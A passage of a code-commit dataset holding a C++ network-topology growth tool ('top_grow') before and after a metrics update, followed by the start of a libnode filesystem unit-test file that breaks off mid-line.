fiber\");\nDEFINE_double(link_speed_Mbps, 1000, \"All new links will be this fast\");\nDEFINE_double(scale_step, 1.01, \"By how much to scale the TM each step\");\nDEFINE_double(capacity_grow_threshold, 1.3,\n              \"What the limit is for growing capacity\");\nDEFINE_string(\n    optimizer, \"CTR\",\n    \"The optimizer to use. One of SP,CTR,MinMax,MinMaxLD,MinMaxK10,B4.\");\nDEFINE_uint64(threads, 4, \"Number of threads to use\");\n\nusing namespace std::chrono;\n\n\/\/ Elements of a traffic matrix.\nusing TMElements = std::vector<nc::lp::DemandMatrixElement>;\n\n\/\/ Number of flows in the most loaded aggregate.\nstatic constexpr size_t kTopAggregateFlowCount = 10000;\n\nstatic auto* total_delay_ms =\n    nc::metrics::DefaultMetricManager()\n        -> GetThreadSafeMetric<uint32_t, uint32_t>(\"total_delay_ms\",\n                                                   \"Sum of all delays\", \"Step\");\n\nstatic auto* max_link_utilization =\n    nc::metrics::DefaultMetricManager()\n        -> GetThreadSafeMetric<double, uint32_t>(\n            \"max_link_utilization\", \"Maximum link utilization\", \"Step\");\n\nnamespace ctr {\n\nstatic std::unique_ptr<TrafficMatrix> FromDemandMatrix(\n    const nc::lp::DemandMatrix& demand_matrix) {\n  nc::net::Bandwidth max_demand = nc::net::Bandwidth::Zero();\n  for (const auto& element : demand_matrix.elements()) {\n    max_demand = std::max(max_demand, element.demand);\n  }\n\n  \/\/ Will assign flow counts so that the max bandwidth aggregate has\n  \/\/ kTopAggregateFlowCount, and all other aggregates proportionally less.\n  std::map<AggregateId, DemandAndFlowCount> demands_and_counts;\n  for (const auto& element : demand_matrix.elements()) {\n    size_t flow_count = kTopAggregateFlowCount * (element.demand \/ max_demand);\n    flow_count = std::max(1ul, flow_count);\n\n    AggregateId id(element.src, element.dst);\n    demands_and_counts[id] = {element.demand, flow_count};\n  }\n\n  return nc::make_unique<TrafficMatrix>(demand_matrix.graph(),\n                                        demands_and_counts);\n}\n\nstatic std::unique_ptr<RoutingConfiguration> RunOptimizer(\n    const nc::lp::DemandMatrix& demand_matrix, PathProvider* provider) {\n  auto tm = FromDemandMatrix(demand_matrix);\n\n  std::unique_ptr<Optimizer> opt;\n  if (FLAGS_optimizer == \"CTR\") {\n    opt = nc::make_unique<CTROptimizer>(provider, 1.0, false, false);\n  } else if (FLAGS_optimizer == \"MinMax\") {\n    opt = nc::make_unique<MinMaxOptimizer>(provider, 1.0, false);\n  } else if (FLAGS_optimizer == \"MinMaxLD\") {\n    opt = nc::make_unique<MinMaxOptimizer>(provider, 1.0, true);\n  } else if (FLAGS_optimizer == \"MinMaxK10\") {\n    opt = nc::make_unique<MinMaxPathBasedOptimizer>(provider, 1.0, true, 10);\n  } else if (FLAGS_optimizer == \"B4\") {\n    opt = nc::make_unique<B4Optimizer>(provider, false, 1.0);\n  } else if (FLAGS_optimizer == \"SP\") {\n    opt = nc::make_unique<ShortestPathOptimizer>(provider);\n  } else {\n    LOG(FATAL) << \"Bad optimizer \" << FLAGS_optimizer;\n  }\n\n  return opt->Optimize(*tm);\n}\n\n\/\/ Scores a combination of topology and TM.\nstatic std::pair<double, bool> Cost(const nc::net::GraphBuilder& topology,\n                                    const TMElements& tm_elements) {\n  nc::net::GraphStorage graph(topology);\n  PathProvider path_provider(&graph);\n  nc::lp::DemandMatrix demand_matrix(tm_elements, &graph);\n  auto routing = RunOptimizer(demand_matrix, &path_provider);\n\n  double total_oversubscription = 0;\n  double max_utilization = 0;\n  nc::net::GraphLinkMap<double> link_utilizations = routing->LinkUtilizations();\n  for (const auto& link_and_utilization : link_utilizations) {\n    double utilization = *(link_and_utilization.second);\n\n    double oversubscription = utilization - 1.0;\n    oversubscription = std::max(0.0, oversubscription);\n    total_oversubscription += oversubscription;\n\n    max_utilization = std::max(max_utilization, utilization);\n  }\n\n  return {total_oversubscription, max_utilization <= 1.0};\n}\n\n\/\/ Records information about the routing.\nstatic void RecordRoutingConfig(const RoutingConfiguration& routing,\n                                uint32_t step) {\n  auto* total_path_handle = total_delay_ms->GetHandle(step);\n  auto* link_utilization_handle = max_link_utilization->GetHandle(step);\n\n  nc::net::Delay total_delay = routing.TotalPerFlowDelay();\n  total_path_handle->AddValue(duration_cast<milliseconds>(total_delay).count());\n\n  double max_utilization = routing.MaxLinkUtilization();\n  link_utilization_handle->AddValue(max_utilization);\n\n  nc::viz::HtmlPage page;\n  routing.ToHTML(&page);\n  nc::File::WriteStringToFile(page.Construct(),\n                              nc::StrCat(\"top_grow_step_\", step, \".html\"));\n}\n\n\/\/ Will add a single link (or increase the capacity of existing one) that\n\/\/ minimizes the overall cost.\nstatic nc::net::GraphBuilder GrowNetwork(\n    const nc::net::GraphBuilder& topology, const TMElements& tm_elements,\n    const std::map<std::pair<std::string, std::string>, milliseconds>& delays) {\n  nc::net::GraphBuilder to_return = topology;\n  while (true) {\n    nc::net::GraphBuilder best_topology;\n    double best_cost = std::numeric_limits<double>::max();\n    bool best_fits = false;\n    std::string best_link_to_string;\n\n    std::vector<nc::net::GraphBuilder> to_run;\n    std::vector<std::string> links_added_to_string;\n    std::set<std::string> all_nodes = topology.AllNodeNames();\n    for (const std::string& src : all_nodes) {\n      for (const std::string& dst : all_nodes) {\n        if (src >= dst) {\n          continue;\n        }\n\n        nc::net::GraphBuilder new_topology = to_return;\n        nc::net::Delay delay =\n            nc::FindOrDieNoPrint(delays, std::make_pair(src, dst));\n        nc::net::Bandwidth bw =\n            nc::net::Bandwidth::FromMBitsPerSecond(FLAGS_link_speed_Mbps);\n        new_topology.AddLink({src, dst, bw, delay});\n        new_topology.AddLink({dst, src, bw, delay});\n        new_topology.RemoveMultipleLinks();\n        to_run.emplace_back(new_topology);\n        links_added_to_string.emplace_back(nc::StrCat(src, \"->\", dst));\n      }\n    }\n\n    std::vector<std::unique_ptr<std::pair<double, bool>>> output =\n        nc::RunInParallelWithResult<nc::net::GraphBuilder,\n                                    std::pair<double, bool>>(\n            to_run, [&tm_elements](const nc::net::GraphBuilder& builder) {\n              return nc::make_unique<std::pair<double, bool>>(\n                  Cost(builder, tm_elements));\n            }, FLAGS_threads);\n\n    for (size_t i = 0; i < to_run.size(); ++i) {\n      const nc::net::GraphBuilder& new_topology = to_run[i];\n      double cost;\n      bool fits;\n      std::tie(cost, fits) = *(output[i]);\n\n      if (cost < best_cost) {\n        best_topology = new_topology;\n        best_cost = cost;\n        best_link_to_string = links_added_to_string[i];\n        best_fits = fits;\n      }\n    }\n\n    CHECK(best_cost != std::numeric_limits<double>::max());\n    LOG(INFO) << \"Growing network, best cost \" << best_cost << \" will add \"\n              << best_link_to_string << \" fits \" << best_fits;\n\n    to_return = best_topology;\n    if (best_fits) {\n      break;\n    }\n  }\n\n  return to_return;\n}\n\nstatic void Run(\n    const nc::net::GraphBuilder& topology, const TMElements& tm_elements,\n    const std::map<std::pair<std::string, std::string>, milliseconds>& delays) {\n  nc::net::GraphBuilder current_topology = topology;\n  TMElements current_elements = tm_elements;\n\n  for (size_t i = 0; i < 100; ++i) {\n    LOG(INFO) << \"Step \" << i;\n\n    \/\/ Will first run to record information.\n    nc::net::GraphStorage graph(current_topology);\n    PathProvider path_provider(&graph);\n\n    nc::lp::DemandMatrix demand_matrix(current_elements, &graph);\n    auto output = RunOptimizer(demand_matrix, &path_provider);\n    RecordRoutingConfig(*output, i);\n\n    \/\/ Will grow the TM to figure out if any new links need to be added.\n    auto scaled_demands = demand_matrix.Scale(FLAGS_capacity_grow_threshold);\n    output = RunOptimizer(*scaled_demands, &path_provider);\n\n    bool all_fit = output->MaxLinkUtilization() <= 1.0;\n    if (!all_fit) {\n      \/\/ Need to grow the network.\n      current_topology =\n          GrowNetwork(topology, scaled_demands->elements(), delays);\n    }\n\n    \/\/ Perform a single step.\n    scaled_demands = demand_matrix.Scale(FLAGS_scale_step);\n    current_elements = scaled_demands->elements();\n  }\n}\n\n}  \/\/ namespace ctr\n\nstatic const nc::geo::CityData* GetCity(const std::string& name,\n                                        nc::geo::Localizer* localizer) {\n  nc::geo::FindCityRequest request;\n  request.ascii_name = name;\n\n  const nc::geo::CityData* city_data = localizer->FindCityOrNull(request);\n  LOG(INFO) << name << \" localized to \" << city_data->ToString();\n  CHECK(city_data != nullptr);\n  return city_data;\n}\n\nint main(int argc, char** argv) {\n  gflags::ParseCommandLineFlags(&argc, &argv, true);\n  nc::metrics::InitMetrics();\n  nc::geo::Localizer localizer(FLAGS_cities_file);\n\n  std::vector<std::string> node_order;\n  nc::net::GraphBuilder builder = nc::net::LoadRepetitaOrDie(\n      nc::File::ReadFileToStringOrDie(FLAGS_topology_file), &node_order);\n  builder.RemoveMultipleLinks();\n  builder.ScaleCapacity(FLAGS_link_capacity_scale);\n  builder.ScaleDelay(FLAGS_delay_scale);\n\n  nc::net::GraphStorage graph(builder);\n  std::unique_ptr<nc::lp::DemandMatrix> demand_matrix =\n      nc::lp::DemandMatrix::LoadRepetitaOrDie(\n          nc::File::ReadFileToStringOrDie(FLAGS_tm_file), node_order, &graph);\n\n  \/\/ Will record the delays between all N * (N - 1) nodes.\n  std::map<std::pair<std::string, std::string>, milliseconds> delays;\n  nc::net::GraphNodeSet all_nodes = graph.AllNodes();\n  for (nc::net::GraphNodeIndex src : all_nodes) {\n    for (nc::net::GraphNodeIndex dst : all_nodes) {\n      if (src == dst) {\n        continue;\n      }\n\n      const std::string& src_id = graph.GetNode(src)->id();\n      const std::string& dst_id = graph.GetNode(dst)->id();\n\n      const nc::geo::CityData* src_city = GetCity(src_id, &localizer);\n      const nc::geo::CityData* dst_city = GetCity(dst_id, &localizer);\n      double distance_km = src_city->DistanceKm(*dst_city);\n\n      uint32_t delay_ms = distance_km \/ FLAGS_light_speed;\n      delay_ms = std::max(delay_ms, static_cast<uint32_t>(1));\n      delays[{src_id, dst_id}] = milliseconds(delay_ms);\n    }\n  }\n\n  ctr::Run(builder, demand_matrix->elements(), delays);\n}\n<commit_msg>updated top_grow<commit_after>\/\/ Generates a series of topologies from a set of locations. Each of\n\/\/ the topologies will have a progressively higher level of connectivity,\n\/\/ starting from no connectivity and ending at a full clique. Each link will\n\/\/ have a delay set up to be the speed of light in fiber.\n\n#include <gflags\/gflags.h>\n#include <stddef.h>\n#include <stdint.h>\n#include <algorithm>\n#include <chrono>\n#include <limits>\n#include <map>\n#include <memory>\n#include <set>\n#include <string>\n#include <tuple>\n#include <utility>\n#include <vector>\n\n#include \"ncode_common\/src\/common.h\"\n#include \"ncode_common\/src\/file.h\"\n#include \"ncode_common\/src\/logging.h\"\n#include \"ncode_common\/src\/lp\/demand_matrix.h\"\n#include \"ncode_common\/src\/map_util.h\"\n#include \"ncode_common\/src\/net\/net_common.h\"\n#include \"ncode_common\/src\/net\/net_gen.h\"\n#include \"ncode_common\/src\/strutil.h\"\n#include \"ncode_common\/src\/thread_runner.h\"\n#include \"ncode_common\/src\/viz\/web_page.h\"\n#include \"common.h\"\n#include \"geo\/geo.h\"\n#include \"metrics\/metrics.h\"\n#include \"opt\/ctr.h\"\n#include \"opt\/opt.h\"\n#include \"opt\/path_provider.h\"\n\nDEFINE_string(cities_file, \"cities5000.txt\", \"Location of the cities file\");\nDEFINE_string(topology_file, \"\", \"Topology file\");\nDEFINE_string(tm_file, \"\", \"Traffic matrix file\");\nDEFINE_double(link_capacity_scale, 1.0, \"By how much to scale all links\");\nDEFINE_double(delay_scale, 1.0, \"By how much to scale the delays of all links\");\nDEFINE_double(\n    light_speed, 200.0,\n    \"Speed of light (in km per millisecond), default is speed in fiber\");\nDEFINE_double(link_speed_Mbps, 1000, \"All new links will be this fast\");\nDEFINE_double(scale_step, 1.01, \"By how much to scale the TM each step\");\nDEFINE_double(capacity_grow_threshold, 1.3,\n              \"What the limit is for growing capacity\");\nDEFINE_string(\n    optimizer, \"CTR\",\n    \"The optimizer to use. One of SP,CTR,MinMax,MinMaxLD,MinMaxK10,B4.\");\nDEFINE_uint64(threads, 4, \"Number of threads to use\");\n\nusing namespace std::chrono;\n\n\/\/ Elements of a traffic matrix.\nusing TMElements = std::vector<nc::lp::DemandMatrixElement>;\n\n\/\/ Number of flows in the most loaded aggregate.\nstatic constexpr size_t kTopAggregateFlowCount = 10000;\n\nstatic auto* total_delay_ms =\n    nc::metrics::DefaultMetricManager()\n        -> GetThreadSafeMetric<uint32_t>(\"total_delay_ms\", \"Sum of all delays\");\n\nstatic auto* max_link_utilization =\n    nc::metrics::DefaultMetricManager() -> GetThreadSafeMetric<double>(\n        \"max_link_utilization\", \"Maximum link utilization\");\n\nstatic auto* capacity_added =\n    nc::metrics::DefaultMetricManager() -> GetThreadSafeMetric<double>(\n        \"capacity_added\", \"Capacity added to the network (in Mbps)\");\n\nnamespace ctr {\n\nstatic std::unique_ptr<TrafficMatrix> FromDemandMatrix(\n    const nc::lp::DemandMatrix& demand_matrix) {\n  nc::net::Bandwidth max_demand = nc::net::Bandwidth::Zero();\n  for (const auto& element : demand_matrix.elements()) {\n    max_demand = std::max(max_demand, element.demand);\n  }\n\n  \/\/ Will assign flow counts so that the max bandwidth aggregate has\n  \/\/ kTopAggregateFlowCount, and all other aggregates proportionally less.\n  std::map<AggregateId, DemandAndFlowCount> demands_and_counts;\n  for (const auto& element : demand_matrix.elements()) {\n    size_t flow_count = kTopAggregateFlowCount * (element.demand \/ max_demand);\n    flow_count = std::max(1ul, flow_count);\n\n    AggregateId id(element.src, element.dst);\n    demands_and_counts[id] = {element.demand, flow_count};\n  }\n\n  return nc::make_unique<TrafficMatrix>(demand_matrix.graph(),\n                                        demands_and_counts);\n}\n\nstatic std::unique_ptr<RoutingConfiguration> RunOptimizer(\n    const nc::lp::DemandMatrix& demand_matrix, PathProvider* provider) {\n  auto tm = FromDemandMatrix(demand_matrix);\n\n  std::unique_ptr<Optimizer> opt;\n  if (FLAGS_optimizer == \"CTR\") {\n    opt = nc::make_unique<CTROptimizer>(provider, 1.0, false, false);\n  } else if (FLAGS_optimizer == \"MinMax\") {\n    opt = nc::make_unique<MinMaxOptimizer>(provider, 1.0, false);\n  } else if (FLAGS_optimizer == \"MinMaxLD\") {\n    opt = nc::make_unique<MinMaxOptimizer>(provider, 1.0, true);\n  } else if (FLAGS_optimizer == \"MinMaxK10\") {\n    opt = nc::make_unique<MinMaxPathBasedOptimizer>(provider, 1.0, true, 10);\n  } else if (FLAGS_optimizer == \"B4\") {\n    opt = nc::make_unique<B4Optimizer>(provider, false, 1.0);\n  } else if (FLAGS_optimizer == \"SP\") {\n    opt = nc::make_unique<ShortestPathOptimizer>(provider);\n  } else {\n    LOG(FATAL) << \"Bad optimizer \" << FLAGS_optimizer;\n  }\n\n  return opt->Optimize(*tm);\n}\n\n\/\/ Scores a combination of topology and TM.\nstatic std::pair<double, bool> Cost(const nc::net::GraphBuilder& topology,\n                                    const TMElements& tm_elements) {\n  nc::net::GraphStorage graph(topology);\n  PathProvider path_provider(&graph);\n  nc::lp::DemandMatrix demand_matrix(tm_elements, &graph);\n  auto routing = RunOptimizer(demand_matrix, &path_provider);\n\n  double total_oversubscription = 0;\n  double max_utilization = 0;\n  nc::net::GraphLinkMap<double> link_utilizations = routing->LinkUtilizations();\n  for (const auto& link_and_utilization : link_utilizations) {\n    double utilization = *(link_and_utilization.second);\n\n    double oversubscription = utilization - 1.0;\n    oversubscription = std::max(0.0, oversubscription);\n    total_oversubscription += oversubscription;\n\n    max_utilization = std::max(max_utilization, utilization);\n  }\n\n  return {total_oversubscription, max_utilization <= 1.0};\n}\n\n\/\/ Records information about the routing.\nstatic void RecordRoutingConfig(const RoutingConfiguration& routing,\n                                uint32_t step) {\n  auto* total_path_handle = total_delay_ms->GetHandle();\n  auto* link_utilization_handle = max_link_utilization->GetHandle();\n\n  nc::net::Delay total_delay = routing.TotalPerFlowDelay();\n  total_path_handle->AddValue(duration_cast<milliseconds>(total_delay).count());\n\n  double max_utilization = routing.MaxLinkUtilization();\n  link_utilization_handle->AddValue(max_utilization);\n\n  nc::viz::HtmlPage page;\n  routing.ToHTML(&page);\n  nc::File::WriteStringToFile(page.Construct(),\n                              nc::StrCat(\"top_grow_step_\", step, \".html\"));\n}\n\n\/\/ Will add a single link (or increase the capacity of existing one) that\n\/\/ minimizes the overall cost.\nstatic nc::net::GraphBuilder GrowNetwork(\n    const nc::net::GraphBuilder& topology, const TMElements& tm_elements,\n    const std::map<std::pair<std::string, std::string>, milliseconds>& delays) {\n  nc::net::GraphBuilder to_return = topology;\n  double total_added = 0.0;\n  while (true) {\n    nc::net::GraphBuilder best_topology;\n    double best_cost = std::numeric_limits<double>::max();\n    bool best_fits = false;\n    std::string best_link_to_string;\n\n    std::vector<nc::net::GraphBuilder> to_run;\n    std::vector<std::string> links_added_to_string;\n    std::set<std::string> all_nodes = topology.AllNodeNames();\n    for (const std::string& src : all_nodes) {\n      for (const std::string& dst : all_nodes) {\n        if (src >= dst) {\n          continue;\n        }\n\n        nc::net::GraphBuilder new_topology = to_return;\n        nc::net::Delay delay =\n            nc::FindOrDieNoPrint(delays, std::make_pair(src, dst));\n        nc::net::Bandwidth bw =\n            nc::net::Bandwidth::FromMBitsPerSecond(FLAGS_link_speed_Mbps);\n        new_topology.AddLink({src, dst, bw, delay});\n        new_topology.AddLink({dst, src, bw, delay});\n        new_topology.RemoveMultipleLinks();\n        to_run.emplace_back(new_topology);\n        links_added_to_string.emplace_back(nc::StrCat(src, \"->\", dst));\n      }\n    }\n\n    std::vector<std::unique_ptr<std::pair<double, bool>>> output =\n        nc::RunInParallelWithResult<nc::net::GraphBuilder,\n                                    std::pair<double, bool>>(\n            to_run, [&tm_elements](const nc::net::GraphBuilder& builder) {\n              return nc::make_unique<std::pair<double, bool>>(\n                  Cost(builder, tm_elements));\n            }, FLAGS_threads);\n\n    for (size_t i = 0; i < to_run.size(); ++i) {\n      const nc::net::GraphBuilder& new_topology = to_run[i];\n      double cost;\n      bool fits;\n      std::tie(cost, fits) = *(output[i]);\n\n      if (cost < best_cost) {\n        best_topology = new_topology;\n        best_cost = cost;\n        best_link_to_string = links_added_to_string[i];\n        best_fits = fits;\n      }\n    }\n\n    CHECK(best_cost != std::numeric_limits<double>::max());\n    LOG(INFO) << \"Growing network, best cost \" << best_cost << \" will add \"\n              << best_link_to_string << \" fits \" << best_fits;\n    total_added += FLAGS_link_speed_Mbps;\n\n    to_return = best_topology;\n    if (best_fits) {\n      break;\n    }\n  }\n\n  capacity_added->GetHandle()->AddValue(total_added);\n  return to_return;\n}\n\nstatic void Run(\n    const nc::net::GraphBuilder& topology, const TMElements& tm_elements,\n    const std::map<std::pair<std::string, std::string>, milliseconds>& delays) {\n  nc::net::GraphBuilder current_topology = topology;\n  TMElements current_elements = tm_elements;\n\n  for (size_t i = 0; i < 100; ++i) {\n    LOG(INFO) << \"Step \" << i;\n\n    \/\/ Will first run to record information.\n    nc::net::GraphStorage graph(current_topology);\n    PathProvider path_provider(&graph);\n\n    nc::lp::DemandMatrix demand_matrix(current_elements, &graph);\n    auto output = RunOptimizer(demand_matrix, &path_provider);\n    RecordRoutingConfig(*output, i);\n\n    \/\/ Will grow the TM to figure out if any new links need to be added.\n    auto scaled_demands = demand_matrix.Scale(FLAGS_capacity_grow_threshold);\n    output = RunOptimizer(*scaled_demands, &path_provider);\n\n    bool all_fit = output->MaxLinkUtilization() <= 1.0;\n    if (!all_fit) {\n      \/\/ Need to grow the network.\n      current_topology =\n          GrowNetwork(topology, scaled_demands->elements(), delays);\n    } else {\n      capacity_added->GetHandle()->AddValue(0.0);\n    }\n\n    \/\/ Perform a single step.\n    scaled_demands = demand_matrix.Scale(FLAGS_scale_step);\n    current_elements = scaled_demands->elements();\n  }\n}\n\n}  \/\/ namespace ctr\n\nstatic const nc::geo::CityData* GetCity(const std::string& name,\n                                        nc::geo::Localizer* localizer) {\n  nc::geo::FindCityRequest request;\n  request.ascii_name = name;\n\n  const nc::geo::CityData* city_data = localizer->FindCityOrNull(request);\n  LOG(INFO) << name << \" localized to \" << city_data->ToString();\n  CHECK(city_data != nullptr);\n  return city_data;\n}\n\nint main(int argc, char** argv) {\n  gflags::ParseCommandLineFlags(&argc, &argv, true);\n  nc::metrics::InitMetrics();\n  nc::geo::Localizer localizer(FLAGS_cities_file);\n\n  std::vector<std::string> node_order;\n  nc::net::GraphBuilder builder = nc::net::LoadRepetitaOrDie(\n      nc::File::ReadFileToStringOrDie(FLAGS_topology_file), &node_order);\n  builder.RemoveMultipleLinks();\n  builder.ScaleCapacity(FLAGS_link_capacity_scale);\n  builder.ScaleDelay(FLAGS_delay_scale);\n\n  nc::net::GraphStorage graph(builder);\n  std::unique_ptr<nc::lp::DemandMatrix> demand_matrix =\n      nc::lp::DemandMatrix::LoadRepetitaOrDie(\n          nc::File::ReadFileToStringOrDie(FLAGS_tm_file), node_order, &graph);\n\n  \/\/ Will record the delays between all N * (N - 1) nodes.\n  std::map<std::pair<std::string, std::string>, milliseconds> delays;\n  nc::net::GraphNodeSet all_nodes = graph.AllNodes();\n  for (nc::net::GraphNodeIndex src : all_nodes) {\n    for (nc::net::GraphNodeIndex dst : all_nodes) {\n      if (src == dst) {\n        continue;\n      }\n\n      const std::string& src_id = graph.GetNode(src)->id();\n      const std::string& dst_id = graph.GetNode(dst)->id();\n\n      const nc::geo::CityData* src_city = GetCity(src_id, &localizer);\n      const nc::geo::CityData* dst_city = GetCity(dst_id, &localizer);\n      double distance_km = src_city->DistanceKm(*dst_city);\n\n      uint32_t delay_ms = distance_km \/ FLAGS_light_speed;\n      delay_ms = std::max(delay_ms, static_cast<uint32_t>(1));\n      delays[{src_id, dst_id}] = milliseconds(delay_ms);\n    }\n  }\n\n  ctr::Run(builder, demand_matrix->elements(), delays);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2013 Plenluno All rights reserved.\n\n#include <libnode\/fs.h>\n#include <libnode\/path.h>\n\n#include \".\/gtest_common.h\"\n\nnamespace libj {\nnamespace node {\n\nclass FsCallback : LIBJ_JS_FUNCTION(FsCallback)\n public:\n    FsCallback() : args_(JsArray::null()) {}\n\n    JsArray::CPtr getArgs() { return args_; }\n\n    virtual Value operator()(JsArray::Ptr args) {\n        args_ = args;\n        return Status::OK;\n    }\n\n private:\n    JsArray::Ptr args_;\n};\n\nTEST(GTestFs, TestWriteFile) {\n    fs::writeFile(\n        String::null(), Buffer::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::writeFile(str(\"hello.txt\"), Buffer::create(str(\"hello\")), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestStat) {\n    fs::stat(String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::stat(String::null(), cb);\n    node::run();\n    ASSERT_TRUE(!!cb->getArgs()->getCPtr<Error>(0));\n\n    fs::stat(str(\"hello.txt\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n\n    fs::Stats::Ptr stats = cb->getArgs()->getPtr<fs::Stats>(1);\n    ASSERT_TRUE(!!stats);\n    ASSERT_TRUE(stats->isFile());\n    ASSERT_FALSE(stats->isDirectory());\n    ASSERT_EQ(5, to<Size>(stats->get(fs::STAT_SIZE)));\n}\n\nTEST(GTestFs, TestOpen) {\n    fs::open(String::null(), fs::W, JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::open(String::null(), fs::W, cb);\n    node::run();\n    ASSERT_TRUE(!!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestClose) {\n    fs::close(Object::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::close(Object::null(), cb);\n    node::run();\n    ASSERT_TRUE(!!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestRead) {\n    fs::read(\n        Object::null(),\n        Buffer::null(),\n        0, 0, 0,\n        JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::read(\n        Object::null(),\n        Buffer::create(),\n        1, 1, 1, cb);\n    node::run();\n    ASSERT_TRUE(!!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestReadFile) {\n    fs::readFile(String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::readFile(str(\"hello.txt\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n    Buffer::CPtr buf = cb->getArgs()->getCPtr<Buffer>(1);\n    ASSERT_TRUE(!!buf);\n    ASSERT_TRUE(buf->toString()->equals(str(\"hello\")));\n}\n\nTEST(GTestFs, TestAppendFile) {\n    fs::appendFile(\n        String::null(), Buffer::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::appendFile(str(\"hello.txt\"), Buffer::create(str(\" world\")), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n\n    fs::readFile(str(\"hello.txt\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n    Buffer::CPtr buf = cb->getArgs()->getCPtr<Buffer>(1);\n    ASSERT_TRUE(!!buf);\n    ASSERT_TRUE(buf->toString()->equals(str(\"hello world\")));\n}\n\nTEST(GTestFs, TestReaddir) {\n    fs::readdir(String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::readdir(str(\".\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n    JsArray::CPtr a = cb->getArgs()->getCPtr<JsArray>(1);\n    ASSERT_TRUE(a->contains(str(\"hello.txt\")));\n}\n\nTEST(GTestFs, TestRename) {\n    fs::rename(\n        String::null(), String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::rename(str(\"hello.txt\"), str(\"hell.txt\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestTruncate) {\n    fs::truncate(String::null(), 0, JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::truncate(str(\"hell.txt\"), 4, cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n\n    fs::readFile(str(\"hell.txt\"), cb);\n    node::run();\n    Buffer::CPtr buf = cb->getArgs()->getCPtr<Buffer>(1);\n    ASSERT_TRUE(!!buf);\n    ASSERT_EQ(4, buf->length());\n}\n\nTEST(GTestFs, TestMkdir) {\n    fs::mkdir(String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::mkdir(str(\"mydir\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestSymlink) {\n    fs::symlink(\n        String::null(), String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::symlink(str(\"mydir\"), str(\"mylink\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestLstat) {\n    FsCallback::Ptr cb(new FsCallback());\n    fs::lstat(str(\"mydir\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n\n    fs::Stats::Ptr stats = cb->getArgs()->getPtr<fs::Stats>(1);\n    ASSERT_TRUE(!!stats);\n    ASSERT_TRUE(stats->isDirectory());\n    ASSERT_FALSE(stats->isSocket());\n\n    fs::lstat(str(\"mylink\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n\n    stats = cb->getArgs()->getPtr<fs::Stats>(1);\n    ASSERT_TRUE(!!stats);\n    ASSERT_TRUE(stats->isSymbolicLink());\n    ASSERT_FALSE(stats->isBlockDevice());\n}\n\nTEST(GTestFs, TestRealpath) {\n    fs::realpath(String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    String::CPtr current = path::resolve(JsArray::null());\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::realpath(String::null(), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n    ASSERT_TRUE(cb->getArgs()->getCPtr<String>(1)->equals(current));\n\n    fs::realpath(str(\".\/mylink\"), cb);\n    String::CPtr real = current->concat(str(\"\/mydir\"));\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n    ASSERT_TRUE(cb->getArgs()->getCPtr<String>(1)->equals(real));\n}\n\nTEST(GTestFs, TestRmdir) {\n    fs::rmdir(String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::rmdir(str(\"mydir\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n}\n\nTEST(GTestFs, TestUnlink) {\n    fs::unlink(String::null(), JsFunction::null());  \/\/ no crash\n    node::run();\n\n    FsCallback::Ptr cb(new FsCallback());\n    fs::unlink(str(\"hell.txt\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n\n    fs::unlink(str(\"mylink\"), cb);\n    node::run();\n    ASSERT_TRUE(!cb->getArgs()->getCPtr<Error>(0));\n}\n\n}  \/\/ namespace node\n}  \/\/ namespace 